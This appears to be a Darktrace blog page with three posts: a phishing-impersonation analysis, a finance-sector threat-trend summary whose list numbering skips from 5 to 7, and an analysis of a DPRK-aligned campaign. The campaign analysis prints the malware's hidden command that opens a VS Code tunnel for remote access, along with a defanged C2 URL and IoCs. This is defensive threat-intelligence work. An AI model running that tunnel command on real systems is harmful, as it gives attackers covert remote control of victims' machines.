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October 23, 2022

How Darktrace AI Isn't Fooled by Impersonation Tactics

Learn how Darktrace AI outsmarts impersonation tactics in cybersecurity. Discover cutting-edge security insights and how to keep yourself safe.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
George Kim
Analyst Consulting Lead – AMS
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23
Oct 2022

Two of the most popular ways threat actors send malicious emails is through the use of spoofing and impersonation tactics. While spoofed emails are sent on behalf of a trusted domain and obscure the true source of the sender, impersonation emails come from a fake domain, but one that may be visually confused for an authentic one. In order to identify impersonation tactics in a suspicious email, we should first ask why an attacker might utilize an impersonation approach over spoofing.

In contrast to domain spoofing, which lacks validation and can be readily detected by email security gateway softwares, impersonation with a lookalike domain allows attackers to send emails with full SPF and DKIM validation, making them appear legitimate to many security gateways. This blog will explore impersonation tactics and how Darktrace/Email protects against them. 

There are two distinct ways to leverage impersonation tactics: 

1.     Impersonating the domain 

2.     Impersonating a real user from that domain  

Domain impersonation is often implemented with the use of ‘confusable characters’. This involves misspelling through the use of character substitutions which make the domain look as visually similar to the original as possible (eg. m rn, o 0, l  I). Threat actors can then also impersonate a real user by adding the the personal field of that user’s email to the new, malicious domain. Comparing impersonation emails with legitimate emails highlights how similar these malicious email addresses are to the real thing (Figure 1).

Figure 1- Email log that highlights the impersonated emails from “Mike Lewis” from the domain “smartercornmerce[.]net”. Along with the impersonated domain, the attackers attempt to impersonate the known user, “Mike Lewis” as well. The use of both distinct types of impersonation categorize the email as what Darktrace/Email refers to as a Double Impersonation email.

Figure 2- Email Summary details of one of the malicious double impersonation emails that was sent by the impersonated sender, “Mike Lewis” from “smartercornmerce[.]net”, that highlights the various anomaly indicators that Darktrace/Email detected, as well the various tags and actions it applied.

Darktrace/Email uses AI which analyses impersonation emails by comparing the ‘From’ header domains of emails against known external domains and generates a percentage score for how likely the domain is to be an imitation of the known domain (Figure 3).  

Figure 3- Darktrace compares the external sender, “mike.lewis@smartercornmerce[.]net”, with similar external names and domains that have been observed in different inbound emails on the network.


Impersonation emails are also detected via spoof score metrics such as Domain External Spoof Score and Domain Internal Spoof Score (Figure 4). 

Figure 4- Darktrace AI analyzed the malicious double impersonation email from Figure 2 and generated a high Domain External Spoof Score (100) and Spoof Score External (94)


Double Impersonation emails such as the one highlighted in Figure 2 are utilized by threat actors to gain the trust of the recipient and convince them to access malicious payloads such as phishing links and attachments. For example, the malicious double impersonation email from Figure 2 contained a suspicious hidden link to a Wordpress site which could have redirected the user to a phishing endpoint and tricked them into divulging sensitive information (Figure 5). The endpoint itself appears to lead unsuspecting recipients to a false share link posing as a payment-themed Excel file.

Figure 5- Details of the Wordpress link embedded in the suspicious email, which was hidden beneath display text to convince a user to click it without knowledge of where it would lead. The domain has a 100% rarity according to Darktrace AI.

Figure 6- Wordpress webpage that highlights another link for the user to click in order to be redirected to the invoice statement in a Microsoft Excel document.

Various indicators highlighted the webpage as suspicious and potentially malicious. Firstly, the use of ‘SmarterCORNmerce’ in the link to the webpage was at odds with the use of SmarterCOMMERCE throughout the page itself. The link also showed the invoice statement to be an Microsoft Excel file, despite the email suggesting it was a PDF document. Further investigation revealed the link to be associated with a Fleek hosting service and CDN (Figure 7), and that it redirected users to a fake Microsoft page. 

Figure 7 - Source code from the Wordpress webpage shows that the fake Microsoft link redirects users to a Fleek hosted page. This page may contain additional javascript content to download malware onto the user’s device.

As well as the domain spoof score metrics highlighted in Figure 4, Darktrace/Email analyses the suspicious payloads embedded in emails and generates scores to indicate the likelihood that a payload may be a phishing attempt.

Figure 8- Additional metrics for the double impersonation email that highlight the high phishing inducement score (96) for the email.

As the DETECT functionality of Darktrace/Email generates high scores metrics such as Domain External Spoof Score and Phishing Inducement, the RESPOND function will fire complementary models which then trigger relevant actions on the various payloads embedded in these emails and even the delivery of the emails themselves. As the impersonation email highlighted in Figure 2 impersonated not only the trusted domain but the known and trusted sender, Darktrace AI triggers the Double Impersonation model. Additional spoofing models such as ‘Basic Known Entity Similarities + Suspicious Content’ and ‘External Domain Similarities + Maximum Similarity’ were also triggered, indicating the high possibility that the suspicious email is a domain and user impersonation email sent by a malicious attacker.

Figure 9- The Email console highlights the different models the email triggered, including the Basic Known Entity Similarities + Suspicious Content and External Domain Similarities + Maximum Similarity model breaches and the various models that triggered significant actions in response to the potentially malicious impersonation email.


When Darktrace/Email detects a malicious double impersonation email, it responds by triggering a Hold action, preventing the email from appearing in the recipient’s inbox. Darktrace/Email’s RESPOND functionality could also take action against the suspicious link payloads embedded in the email with a Double Lock Link action. This will prevent users from attempting to click on malicious phishing links. Such actions highlight how Darktrace/Email excels in using AI to detect and take action against potentially malicious impersonation emails that may be prevalent in any user’s inbox. 

Though impersonation is becoming increasingly targeted and efficient, Darktrace/Email has both detection and response capabilities that can ensure customers have secure coverage for their email environments.

Thanks to Ben Atkins for his contributions to this blog.

Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
George Kim
Analyst Consulting Lead – AMS

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January 28, 2026

The State of Cybersecurity in the Finance Sector: Six Trends to Watch

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The evolving cybersecurity threat landscape in finance

The financial sector, encompassing commercial banks, credit unions, financial services providers, and cryptocurrency platforms, faces an increasingly complex and aggressive cyber threat landscape. The financial sector’s reliance on digital infrastructure and its role in managing high-value transactions make it a prime target for both financially motivated and state-sponsored threat actors.

Darktrace’s latest threat research, The State of Cybersecurity in the Finance Sector, draws on a combination of Darktrace telemetry data from real-world customer environments, open-source intelligence, and direct interviews with financial-sector CISOs to provide perspective on how attacks are unfolding and how defenders in the sector need to adapt.  

Six cybersecurity trends in the finance sector for 2026

1. Credential-driven attacks are surging

Phishing continues to be a leading initial access vector for attacks targeting confidentiality. Financial institutions are frequently targeted with phishing emails designed to harvest login credentials. Techniques including Adversary-in-The-Middle (AiTM) to bypass Multi-factor Authentication (MFA) and QR code phishing (“quishing”) are surging and are capable of fooling even trained users. In the first half of 2025, Darktrace observed 2.4 million phishing emails within financial sector customer deployments, with almost 30% targeted towards VIP users.  

2. Data Loss Prevention is an increasing challenge

Compliance issues – particularly data loss prevention -- remain a persistent risk. In October 2025 alone, Darktrace observed over 214,000 emails across financial sector customers that contained unfamiliar attachments and were sent to suspected personal email addresses highlighting clear concerns around data loss prevention. Across the same set of customers within the same time frame, more than 351,000 emails containing unfamiliar attachments were sent to freemail addresses (e.g. gmail, yahoo, icloud), highlighting clear concerns around DLP.  

Confidentiality remains a primary concern for financial institutions as attackers increasingly target sensitive customer data, financial records, and internal communications.  

3. Ransomware is evolving toward data theft and extortion

Ransomware is no longer just about locking systems, it’s about stealing data first and encrypting second. Groups such as Cl0p and RansomHub now prioritize exploiting trusted file-transfer platforms to exfiltrate sensitive data before encryption, maximizing regulatory and reputational fallout for victims.  

Darktrace’s threat research identified routine scanning and malicious activity targeting internet-facing file-transfer systems used heavily by financial institutions. In one notable case involving Fortra GoAnywhere MFT, Darktrace detected malicious exploitation behavior six days before the CVE was publicly disclosed, demonstrating how attackers often operate ahead of patch cycles

This evolution underscores a critical reality: by the time a vulnerability is disclosed publicly, it may already be actively exploited.

4. Attackers are exploiting edge devices, often pre-disclosure.  

VPNs, firewalls, and remote access gateways have become high-value targets, and attackers are increasingly exploiting them before vulnerabilities are publicly disclosed. Darktrace observed pre-CVE exploitation activity affecting edge technologies including Citrix, Palo Alto, and Ivanti, enabling session hijacking, credential harvesting, and privileged lateral movement into core banking systems.  

Once compromised, these edge devices allow adversaries to blend into trusted network traffic, bypassing traditional perimeter defenses. CISOs interviewed for the report repeatedly described VPN infrastructure as a “concentrated focal point” for attackers, especially when patching and segmentation lag behind operational demands.

5. DPRK-linked activity is growing across crypto and fintech.  

State-sponsored activity, particularly from DPRK-linked groups affiliated with Lazarus, continues to intensify across cryptocurrency and fintech organizations. Darktrace identified coordinated campaigns leveraging malicious npm packages, previously undocumented BeaverTail and InvisibleFerret malware, and exploitation of React2Shell (CVE-2025-55182) for credential theft and persistent backdoor access.  

Targeting was observed across the United Kingdom, Spain, Portugal, Sweden, Chile, Nigeria, Kenya, and Qatar, highlighting the global scope of these operations.  

7. Cloud complexity and AI governance gaps are now systemic risks.  

Finally, CISOs consistently pointed to cloud complexity, insider risk from new hires, and ungoverned AI usage exposing sensitive data as systemic challenges. Leaders emphasized difficulty maintaining visibility across multi-cloud environments while managing sensitive data exposure through emerging AI tools.  

Rapid AI adoption without clear guardrails has introduced new confidentiality and compliance risks, turning governance into a board-level concern rather than a purely technical one.

Building cyber resilience in a shifting threat landscape

The financial sector remains a prime target for both financially motivated and state-sponsored adversaries. What this research makes clear is that yesterday’s security assumptions no longer hold. Identity attacks, pre-disclosure exploitation, and data-first ransomware require adaptive, behavior-based defenses that can detect threats as they emerge, often ahead of public disclosure.

As financial institutions continue to digitize, resilience will depend on visibility across identity, edge, cloud, and data, combined with AI-driven defense that learns at machine speed.  

Learn more about the threats facing the finance sector, and what your organization can do to keep up in The State of Cybersecurity in the Finance Sector report here.  

Acknowledgements:

The State of Cybersecurity in the Finance sector report was authored by Calum Hall, Hugh Turnbull, Parvatha Ananthakannan, Tiana Kelly, and Vivek Rajan, with contributions from Emma Foulger, Nicole Wong, Ryan Traill, Tara Gould, and the Darktrace Threat Research and Incident Management teams.

[related-resource]  

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Nathaniel Jones
VP, Security & AI Strategy, Field CISO

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January 23, 2026

Darktrace Identifies Campaign Targeting South Korea Leveraging VS Code for Remote Access

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Introduction

Darktrace analysts recently identified a campaign aligned with Democratic People’s Republic of Korea (DPRK) activity that targets users in South Korea, leveraging Javascript Encoded (JSE) scripts and government-themed decoy documents to deploy a Visual Studio Code (VS Code) tunnel to establish remote access.

Technical analysis

Decoy document with title “Documents related to selection of students for the domestic graduate school master's night program in the first half of 2026”.
Figure 1: Decoy document with title “Documents related to selection of students for the domestic graduate school master's night program in the first half of 2026”.

The sample observed in this campaign is a JSE file disguised as a Hangul Word Processor (HWPX) document, likely sent to targets via a spear-phishing email. The JSE file contains multiple Base64-encoded blobs and is executed by Windows Script Host. The HWPX file is titled “Documents related to selection of students for the domestic graduate school master's night program in the first half of 2026 (1)” in C:\ProgramData and is opened as a decoy. The Hangul documents impersonate the Ministry of Personnel Management, a South Korean government agency responsible for managing the civil service. Based on the metadata within the documents, the threat actors appear to have taken the documents from the government’s website and edited them to appear legitimate.

Base64 encoded blob.
Figure 2: Base64 encoded blob.

The script then downloads the VSCode CLI ZIP archives from Microsoft into C:\ProgramData, along with code.exe (the legitimate VS Code executable) and a file named out.txt.

In a hidden window, the command cmd.exe /c echo | "C:\ProgramData\code.exe" tunnel --name bizeugene > "C:\ProgramData\out.txt" 2>&1 is run, establishinga VS Code tunnel named “bizeugene”.

VSCode Tunnel setup.
Figure 3: VSCode Tunnel setup.

VS Code tunnels allows users connect to a remote computer and use Visual Studio Code. The remote computer runs a VS Code server that creates an encrypted connection to Microsoft’s tunnel service. A user can then connect to that machine from another device using the VS Code application or a web browser after signing in with GitHub or Microsoft. Abuse of VS Code tunnels was first identified in 2023 and has since been used by Chinese Advance Persistent Threat (APT) groups targeting digital infrastructure and government entities in Southeast Asia [1].

 Contents of out.txt.
Figure 4: Contents of out.txt.

The file “out.txt” contains VS Code Server logs along with a generated GitHub device code. Once the threat actor authorizes the tunnel from their GitHub account, the compromised system is connected via VS Code. This allows the threat actor to have interactive access over the system, with access to the VS Code’s terminal and file browser, enabling them to retrieve payloads and exfiltrate data.

GitHub screenshot after connection is authorized.
Figure 5: GitHub screenshot after connection is authorized.

This code, along with the tunnel token “bizeugene”, is sent in a POST request to hxxps://www[.]yespp[.]co[.]kr/common/include/code/out[.]php, a legitimate South Korean site that has been compromised is now used as a command-and-control (C2) server.

Conclusion

The use of Hancom document formats, DPRK government impersonation, prolonged remote access, and the victim targeting observed in this campaign are consistent with operational patterns previously attributed to DPRK-aligned threat actors. While definitive attribution cannot be made based on this sample alone, the alignment with established DPRK tactics, techniques, and procedures (TTPs) increases confidence that this activity originates from a DPRK state-aligned threat actor.

This activity shows how threat actors can use legitimate software rather than custom malware to maintain access to compromised systems. By using VS Code tunnels, attackers are able to communicate through trusted Microsoft infrastructure instead of dedicated C2 servers. The use of widely trusted applications makes detection more difficult, particularly in environments where developer tools are commonly installed. Traditional security controls that focus on blocking known malware may not identify this type of activity, as the tools themselves are not inherently malicious and are often signed by legitimate vendors.

Credit to Tara Gould (Malware Research Lead)
Edited by Ryan Traill (Analyst Content Lead)

Appendix

Indicators of Compromise (IoCs)

115.68.110.73 - compromised site IP

9fe43e08c8f446554340f972dac8a68c - 2026년 상반기 국내대학원 석사야간과정 위탁교육생 선발관련 서류 (1).hwpx.jse

MITRE ATTACK

T1566.001 - Phishing: Attachment

T1059 - Command and Scripting Interpreter

T1204.002 - User Execution

T1027 - Obfuscated Files and Information

T1218 - Signed Binary Proxy Execution

T1105 - Ingress Tool Transfer

T1090 - Proxy

T1041 - Exfiltration Over C2 Channel

References

[1]  https://unit42.paloaltonetworks.com/stately-taurus-abuses-vscode-southeast-asian-espionage/

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